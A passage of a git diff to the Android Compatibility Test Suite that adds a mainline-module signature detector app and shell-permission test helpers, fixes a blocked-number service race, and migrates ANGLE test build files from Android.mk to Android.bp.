+ package="com.android.cts.mainlinemoduledetector"
+ android:versionCode="1"
+ android:versionName="1.0">
-
- <uses-sdk android:minSdkVersion="19" />
-
- <application android:label="Rollback Test App A1">
- <activity android:name="com.android.cts.rollback.lib.testapp.MainActivity">
+ <application>
+ <activity android:name=".MainlineModuleDetector">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
diff --git a/apps/MainlineModuleDetector/OWNERS b/apps/MainlineModuleDetector/OWNERS
new file mode 100644
index 0000000..8f076a8
--- /dev/null
+++ b/apps/MainlineModuleDetector/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 195645
+manjaepark@google.com
+mspector@google.com
\ No newline at end of file
diff --git a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java b/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
new file mode 100644
index 0000000..5e473d6
--- /dev/null
+++ b/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
@@ -0,0 +1,158 @@
+package com.android.cts.mainlinemoduledetector;
+
+import android.app.Activity;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.security.MessageDigest;
+import java.util.EnumSet;
+import java.util.HashSet;
+import java.util.Set;
+
+public class MainlineModuleDetector extends Activity {
+
+ private static final String LOG_TAG = "MainlineModuleDetector";
+
+ private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
+
+ enum ModuleType {
+ APEX,
+ APK
+ }
+
+ enum MainlineModule {
+ // Security
+ MEDIA_SOFTWARE_CODEC("com.google.android.media.swcodec",
+ true, ModuleType.APEX,
+ "0C:2B:13:87:6D:E5:6A:E6:4E:D1:DE:93:42:2A:8A:3F:EA:6F:34:C0:FC:5D:7D:A1:BD:CF:EF"
+ + ":C1:A7:B7:C9:1D"),
+ MEDIA("com.google.android.media",
+ true, ModuleType.APEX,
+ "16:C1:5C:FA:15:D0:FD:D0:7E:BE:CB:5A:76:6B:40:8B:05:DD:92:7E:1F:3A:DD:C5:AB:F6:8E"
+ + ":E8:B9:98:F9:FD"),
+ DNS_RESOLVER("com.google.android.resolv",
+ true, ModuleType.APEX,
+ "EC:82:21:76:5E:4F:7E:2C:6D:8D:0F:0C:E9:BD:82:5B:98:BE:D2:0C:07:2C:C6:C8:08:DD:E4"
+ + ":68:5F:EB:A6:FF"),
+ CONSCRYPT("com.google.android.conscrypt",
+ true, ModuleType.APEX,
+ "8C:5D:A9:10:E6:11:21:B9:D6:E0:3B:42:D3:20:6A:7D:AD:29:DD:C1:63:AE:CD:4B:8E:E9:3F"
+ + ":D3:83:79:CA:2A"),
+ // Privacy
+ PERMISSION_CONTROLLER("com.google.android.permissioncontroller",
+ false, ModuleType.APK,
+ "89:DF:B5:04:7E:E0:19:29:C2:18:4D:68:EF:49:64:F2:A9:0A:F1:24:C3:23:38:28:B8:F6:40"
+ + ":D9:E6:C0:0F:83"),
+ ANDROID_SERVICES("com.google.android.ext.services",
+ false, ModuleType.APK,
+ "18:46:05:09:5B:E6:CA:22:D0:55:F3:4E:FA:F0:13:44:FD:3A:B3:B5:63:8C:30:62:76:10:EE"
+ + ":AE:8A:26:0B:29"),
+ DOCUMENTS_UI("com.google.android.documentsui",
+ true, ModuleType.APK,
+ "9A:4B:85:34:44:86:EC:F5:1F:F8:05:EB:9D:23:17:97:79:BE:B7:EC:81:91:93:5A:CA:67:F0"
+ + ":F4:09:02:52:97"),
+ // Consistency
+ TZDATA("com.google.android.tzdata",
+ true, ModuleType.APEX,
+ "55:93:DD:78:CB:26:EC:9B:00:59:2A:6A:F5:94:E4:16:1F:FD:B5:E9:F3:71:A7:43:54:5F:93"
+ + ":F2:A0:F6:53:89"),
+ NETWORK_STACK("com.google.android.networkstack",
+ true, ModuleType.APK,
+ "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
+ + ":F6:0B:F6:2C:1E"),
+ CAPTIVE_PORTAL_LOGIN("com.google.android.captiveportallogin",
+ true, ModuleType.APK,
+ "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
+ + ":F6:0B:F6:2C:1E"),
+ NETWORK_PERMISSION_CONFIGURATION("com.google.android.networkstack.permissionconfig",
+ true, ModuleType.APK,
+ "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
+ + ":F6:0B:F6:2C:1E"),
+ MODULE_METADATA("com.google.android.modulemetadata",
+ true, ModuleType.APK,
+ "BF:62:23:1E:28:F0:85:42:75:5C:F3:3C:9D:D8:3C:5D:1D:0F:A3:20:64:50:EF:BC:4C:3F:F3"
+ + ":D5:FD:A0:33:0F"),
+ ;
+
+ String packageName;
+ boolean isPlayUpdated;
+ ModuleType moduleType;
+ String certSHA256;
+
+ MainlineModule(String packageName, boolean isPlayUpdated, ModuleType moduleType,
+ String certSHA256) {
+ this.packageName = packageName;
+ this.isPlayUpdated = isPlayUpdated;
+ this.moduleType = moduleType;
+ this.certSHA256 = certSHA256;
+ }
+ }
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ try {
+ String modules = String.join(",", getPlayManagedModules());
+ Log.i(LOG_TAG, "Play managed modules are: <" + modules + ">");
+ } catch (Exception e) {
+ Log.e(LOG_TAG, "Failed to retrieve modules.", e);
+ }
+ this.finish();
+ }
+
+ private Set<String> getPlayManagedModules() throws Exception {
+ Set<String> playManagedModules = new HashSet<>();
+
+ PackageManager pm = getApplicationContext().getPackageManager();
+
+ Set<String> packages = new HashSet<>();
+ for (PackageInfo info : pm.getInstalledPackages(0)) {
+ packages.add(info.packageName);
+ }
+ for (PackageInfo info : pm.getInstalledPackages(PackageManager.MATCH_APEX)) {
+ packages.add(info.packageName);
+ }
+
+ for (MainlineModule module : EnumSet.allOf(MainlineModule.class)) {
+ if (module.isPlayUpdated && packages.contains(module.packageName)
+ && module.certSHA256.equals(getSignatureDigest(module))) {
+ playManagedModules.add(module.packageName);
+ }
+ }
+ return playManagedModules;
+ }
+
+ private String getSignatureDigest(MainlineModule module) throws Exception {
+ PackageManager pm = getApplicationContext().getPackageManager();
+ int flag = PackageManager.GET_SIGNING_CERTIFICATES;
+ if (module.moduleType == ModuleType.APEX) {
+ flag |= PackageManager.MATCH_APEX;
+ }
+
+ PackageInfo packageInfo = pm.getPackageInfo(module.packageName, flag);
+ MessageDigest messageDigest = MessageDigest.getInstance("SHA256");
+ messageDigest.update(packageInfo.signingInfo.getApkContentsSigners()[0].toByteArray());
+
+ final byte[] digest = messageDigest.digest();
+ final int digestLength = digest.length;
+ final int charCount = 3 * digestLength - 1;
+
+ final char[] chars = new char[charCount];
+ for (int i = 0; i < digestLength; i++) {
+ final int byteHex = digest[i] & 0xFF;
+ chars[i * 3] = HEX_ARRAY[byteHex >>> 4];
+ chars[i * 3 + 1] = HEX_ARRAY[byteHex & 0x0F];
+ if (i < digestLength - 1) {
+ chars[i * 3 + 2] = ':';
+ }
+ }
+
+ String ret = new String(chars);
+ Log.d(LOG_TAG, "Module: " + module.packageName + " has signature: " + ret);
+ return ret;
+ }
+
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberService.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberService.java
index 360c078..bb27360 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberService.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberService.java
@@ -23,11 +23,16 @@
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Intent;
+import android.database.ContentObserver;
import android.net.Uri;
import android.os.Bundle;
+import android.os.Handler;
import android.os.ResultReceiver;
import android.util.Log;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
/**
* A service to handle interactions with the BlockedNumberProvider. The BlockedNumberProvider
* can only be accessed by the primary user. This service can be run as a singleton service
@@ -41,11 +46,14 @@
static final String PHONE_NUMBER_EXTRA = "number";
static final String URI_EXTRA = "uri";
static final String ROWS_EXTRA = "rows";
+ static final String FAIL_EXTRA = "fail";
static final String RESULT_RECEIVER_EXTRA = "resultReceiver";
private static final String TAG = "CtsBlockNumberSvc";
+ private static final int ASYNC_TIMEOUT = 10000;
private ContentResolver mContentResolver;
+ private Handler mHandler = new Handler();
public BlockedNumberService() {
super(BlockedNumberService.class.getName());
@@ -77,14 +85,37 @@
private Bundle insertBlockedNumber(String number) {
Log.i(TAG, "insertBlockedNumber: " + number);
+ CountDownLatch blockedNumberLatch = getBlockedNumberLatch();
ContentValues cv = new ContentValues();
cv.put(COLUMN_ORIGINAL_NUMBER, number);
Uri uri = mContentResolver.insert(CONTENT_URI, cv);
Bundle bundle = new Bundle();
bundle.putString(URI_EXTRA, uri.toString());
+
+ // Wait for the content provider to be updated.
+ try {
+ blockedNumberLatch.await(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ bundle.putBoolean(FAIL_EXTRA, true);
+ }
return bundle;
}
+ private CountDownLatch getBlockedNumberLatch() {
+ CountDownLatch changeLatch = new CountDownLatch(1);
+ getContentResolver().registerContentObserver(
+ CONTENT_URI, true,
+ new ContentObserver(mHandler) {
+ @Override
+ public void onChange(boolean selfChange, Uri uri) {
+ getContentResolver().unregisterContentObserver(this);
+ changeLatch.countDown();
+ super.onChange(selfChange);
+ }
+ });
+ return changeLatch;
+ }
+
private Bundle deleteBlockedNumber(Uri uri) {
Log.i(TAG, "deleteBlockedNumber: " + uri);
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberUtil.java
index e5a0ce4..91959d5 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberUtil.java
@@ -51,7 +51,11 @@
Intent intent = new Intent(INSERT_ACTION);
intent.putExtra(PHONE_NUMBER_EXTRA, phoneNumber);
- return Uri.parse(runBlockedNumberService(context, intent).getString(URI_EXTRA));
+ Bundle result = runBlockedNumberService(context, intent);
+ if (result.getBoolean(BlockedNumberService.FAIL_EXTRA)) {
+ return null;
+ }
+ return Uri.parse(result.getString(URI_EXTRA));
}
/** Remove a number from the blocked number provider and returns the number of rows deleted. */
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
index 7d7aaf0..37c33ae 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
@@ -66,7 +66,7 @@
*/
@Override
protected String formatExecutionString(String method, String... args) {
- return String.format("%s(%s)", method, TextUtils.join(", ", args));
+ return String.format("%s(%s)", method, TextUtils.join(", ", formatArgs(args)));
}
/**
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
index 4bc3c70..d8d4357 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
@@ -314,16 +314,16 @@
return false;
}
- if (rate == 0.0) {
+ if (rate == 0.0) {
return true;
- }
+ }
// before Q, we always said yes once we found a decoder for the format.
if (ApiLevelUtil.isBefore(Build.VERSION_CODES.Q)) {
return true;
- }
+ }
- // we care about speed of decoding
+ // we care about speed of decoding
Log.d(TAG, "checking for decoding " + format + " at " +
rate + " fps with " + decoder);
@@ -353,7 +353,9 @@
return false;
}
- if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.Q) && mci.isHardwareAccelerated()) {
+ if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.Q)
+ && PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.Q)
+ && mci.isHardwareAccelerated()) {
MediaCodecInfo.VideoCapabilities caps =
mci.getCapabilitiesForType(mime).getVideoCapabilities();
List<MediaCodecInfo.VideoCapabilities.PerformancePoint> pp =
@@ -369,7 +371,7 @@
}
Log.i(TAG, "NOT covered by any hardware performance point");
return false;
- } else {
+ } else {
String verified = MediaPerfUtils.areAchievableFrameRates(
decoder, mime, width, height, rate);
if (verified == null) {
@@ -378,7 +380,7 @@
}
Log.d(TAG, "achieveable framerates says: " + verified);
return false;
- }
+ }
}
public static boolean supports(String codecName, String mime, int w, int h) {
@@ -631,7 +633,7 @@
// checks format, does not address actual speed of decoding
public static boolean canDecodeVideo(String mime, int width, int height, float rate) {
- return canDecodeVideo(mime, width, height, rate, (float)0.0);
+ return canDecodeVideo(mime, width, height, rate, (float)0.0);
}
// format + decode rate
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
index 28d8f0d..728cbc6 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
@@ -97,12 +97,18 @@
}
}
- /** Returns the version code for the package name, or null if the package can't be found */
+ /**
+ * Returns the version code for the package name, or null if the package can't be found.
+ * If before API Level 28, return a long version of the (otherwise deprecated) versionCode.
+ */
public static Long getLongVersionCode(String packageName) {
try {
PackageInfo info = getPackageManager().getPackageInfo(packageName,
PackageManager.GET_META_DATA);
- return info.getLongVersionCode();
+ // Make no assumptions about the device's API level, and use the (now deprecated)
+ // versionCode for older devices.
+ return (ApiLevelUtil.isAtLeast(28)) ?
+ info.getLongVersionCode() : (long) info.versionCode;
} catch (PackageManager.NameNotFoundException | NullPointerException e) {
Log.w(TAG, "Could not find version string for package " + packageName);
return null;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
index b87e88b..fb25dd7 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -88,6 +88,20 @@
}
/**
+ * Return whether the SDK version of the vendor partiton is same or newer than the
+ * given API level.
+ * If the property is set to non-integer value, this means the vendor partition is using
+ * current API level and true is returned.
+ */
+ public static boolean isVendorApiLevelAtLeast(int apiLevel) {
+ int vendorApiLevel = getPropertyInt(VNDK_VERSION);
+ if (vendorApiLevel == INT_VALUE_IF_UNSET) {
+ return true;
+ }
+ return vendorApiLevel >= apiLevel;
+ }
+
+ /**
* Return the manufacturer of this product. If unset, return null.
*/
public static String getManufacturer() {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ShellIdentityUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ShellIdentityUtils.java
index f46d5bb..a28152b 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/ShellIdentityUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ShellIdentityUtils.java
@@ -56,6 +56,20 @@
}
/**
+ * Utility interface to invoke a method against the target object that may throw an Exception.
+ *
+ * @param <U> the type of the object against which the method is invoked.
+ */
+ public interface ShellPermissionThrowableMethodHelperNoReturn<U, E extends Throwable> {
+ /**
+ * Invokes the method against the target object.
+ *
+ * @param targetObject the object against which the method should be invoked.
+ */
+ void callMethod(U targetObject) throws E;
+ }
+
+ /**
* Invokes the specified method on the targetObject as the shell user. The method can be invoked
* as follows:
*
@@ -75,6 +89,87 @@
}
/**
+ * Invokes the specified method on the targetObject as the shell user with only the subset of
+ * permissions specified. The method can be invoked as follows:
+ *
+ * {@code ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+ * (tm) -> tm.getDeviceId(), "android.permission.READ_PHONE_STATE");}
+ */
+ public static <T, U> T invokeMethodWithShellPermissions(U targetObject,
+ ShellPermissionMethodHelper<T, U> methodHelper, String... permissions) {
+ final UiAutomation uiAutomation =
+ InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ uiAutomation.adoptShellPermissionIdentity(permissions);
+ return methodHelper.callMethod(targetObject);
+ } finally {
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
+
+ /**
+ * Invokes the specified method on the targetObject as the shell user for only the permissions
+ * specified. The method can be invoked as follows:
+ *
+ * {@code ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+ * (tm) -> tm.getDeviceId(), "android.permission.READ_PHONE_STATE");}
+ */
+ public static <U> void invokeMethodWithShellPermissionsNoReturn(
+ U targetObject, ShellPermissionMethodHelperNoReturn<U> methodHelper,
+ String... permissions) {
+ final UiAutomation uiAutomation =
+ InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ uiAutomation.adoptShellPermissionIdentity(permissions);
+ methodHelper.callMethod(targetObject);
+ } finally {
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
+
+ /**
+ * Invokes the specified throwable method on the targetObject as the shell user with only the
+ * subset of permissions specified specified. The method can be invoked as follows:
+ *
+ * {@code ShellIdentityUtils.invokeMethodWithShellPermissions(mImsMmtelManager,
+ * (m) -> m.isSupported(...), ImsException.class);}
+ */
+ public static <U, E extends Throwable> void invokeThrowableMethodWithShellPermissionsNoReturn(
+ U targetObject, ShellPermissionThrowableMethodHelperNoReturn<U, E> methodHelper,
+ Class<E> clazz) throws E {
+ final UiAutomation uiAutomation =
+ InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ uiAutomation.adoptShellPermissionIdentity();
+ methodHelper.callMethod(targetObject);
+ } finally {
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
+
+ /**
+ * Invokes the specified throwable method on the targetObject as the shell user with only the
+ * subset of permissions specified specified. The method can be invoked as follows:
+ *
+ * {@code ShellIdentityUtils.invokeMethodWithShellPermissions(mImsMmtelManager,
+ * (m) -> m.isSupported(...), ImsException.class,
+ * "android.permission.READ_PRIVILEGED_PHONE_STATE");}
+ */
+ public static <U, E extends Throwable> void invokeThrowableMethodWithShellPermissionsNoReturn(
+ U targetObject, ShellPermissionThrowableMethodHelperNoReturn<U, E> methodHelper,
+ Class<E> clazz, String... permissions) throws E {
+ final UiAutomation uiAutomation =
+ InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ uiAutomation.adoptShellPermissionIdentity(permissions);
+ methodHelper.callMethod(targetObject);
+ } finally {
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
+
+
+ /**
* Invokes the specified method on the targetObject as the shell user. The method can be invoked
* as follows:
*
diff --git a/hostsidetests/angle/Android.bp b/hostsidetests/angle/Android.bp
new file mode 100644
index 0000000..0e70c52
--- /dev/null
+++ b/hostsidetests/angle/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+ name: "CtsAngleIntegrationHostTestCases",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ java_resource_dirs: ["assets/"],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ libs: [
+ "cts-tradefed",
+ "tradefed",
+ "compatibility-host-util",
+ ],
+}
diff --git a/hostsidetests/angle/AndroidTest.xml b/hostsidetests/angle/AndroidTest.xml
index 140da70..0e1464f 100644
--- a/hostsidetests/angle/AndroidTest.xml
+++ b/hostsidetests/angle/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="graphics" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAngleDriverTestCases.apk" />
diff --git a/hostsidetests/angle/app/Android.mk b/hostsidetests/angle/app/Android.mk
deleted file mode 100644
index 3d02f9c..0000000
--- a/hostsidetests/angle/app/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/angle/app/common/Android.bp b/hostsidetests/angle/app/common/Android.bp
new file mode 100644
index 0000000..fe33a37
--- /dev/null
+++ b/hostsidetests/angle/app/common/Android.bp
@@ -0,0 +1,24 @@
+// Copyright (C) 2018 Google Inc.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_helper_library {
+ name: "AngleIntegrationTestCommon",
+ srcs: ["src/**/*.java"],
+ sdk_version: "current",
+ // Tag this module as test artifact for gts, ats
+ test_suites: [
+ "gts",
+ "ats",
+ ],
+}
diff --git a/hostsidetests/angle/app/common/Android.mk b/hostsidetests/angle/app/common/Android.mk
deleted file mode 100644
index 1399707..0000000
--- a/hostsidetests/angle/app/common/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2018 Google Inc.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := AngleIntegrationTestCommon
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as test artifact for gts, ats
-LOCAL_COMPATIBILITY_SUITE := gts ats
-LOCAL_DISABLE_AUTO_GENERATE_TEST_CONFIG := true
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
\ No newline at end of file
diff --git a/hostsidetests/angle/app/driverTest/Android.bp b/hostsidetests/angle/app/driverTest/Android.bp
new file mode 100644
index 0000000..145f350
--- /dev/null
+++ b/hostsidetests/angle/app/driverTest/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsAngleDriverTestCases",
+ defaults: ["cts_support_defaults"],
+ srcs: [
+ "src/**/*.java",
+ ],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ ],
+ compile_multilib: "both",
+ static_libs: [
+ "ctstestrunner-axt",
+ "androidx.test.rules",
+ "AngleIntegrationTestCommon",
+ ],
+}
diff --git a/hostsidetests/angle/app/driverTest/Android.mk b/hostsidetests/angle/app/driverTest/Android.mk
deleted file mode 100644
index 130f6b1..0000000
--- a/hostsidetests/angle/app/driverTest/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-java-files-under, ../common)
-
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_PACKAGE_NAME := CtsAngleDriverTestCases
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules AngleIntegrationTestCommon
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/angle/app/driverTestSecondary/Android.bp b/hostsidetests/angle/app/driverTestSecondary/Android.bp
new file mode 100644
index 0000000..1f7ffe8
--- /dev/null
+++ b/hostsidetests/angle/app/driverTestSecondary/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsAngleDriverTestCasesSecondary",
+ defaults: ["cts_support_defaults"],
+ srcs: [
+ "src/**/*.java",
+ ],
+ // When built, explicitly put it in the data partition.
+ sdk_version: "current",
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ ],
+ compile_multilib: "both",
+ static_libs: [
+ "ctstestrunner-axt",
+ "androidx.test.rules",
+ "AngleIntegrationTestCommon",
+ ],
+}
diff --git a/hostsidetests/angle/app/driverTestSecondary/Android.mk b/hostsidetests/angle/app/driverTestSecondary/Android.mk
deleted file mode 100644
index fc1bbd7..0000000
--- a/hostsidetests/angle/app/driverTestSecondary/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-java-files-under, ../common)
-
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_PACKAGE_NAME := CtsAngleDriverTestCasesSecondary
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules AngleIntegrationTestCommon
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/apex/Android.bp b/hostsidetests/apex/Android.bp
index 5b1f436a5..33194a1 100644
--- a/hostsidetests/apex/Android.bp
+++ b/hostsidetests/apex/Android.bp
@@ -15,6 +15,6 @@
java_test_host {
name: "CtsApexTestCases",
srcs: ["src/**/*.java"],
- test_suites: ["cts", "general-tests"],
+ test_suites: ["cts", "general-tests", "mts"],
libs: ["cts-tradefed", "tradefed"],
}
diff --git a/hostsidetests/apex/AndroidTest.xml b/hostsidetests/apex/AndroidTest.xml
index 96aa5a5..201b3de 100644
--- a/hostsidetests/apex/AndroidTest.xml
+++ b/hostsidetests/apex/AndroidTest.xml
@@ -18,6 +18,7 @@
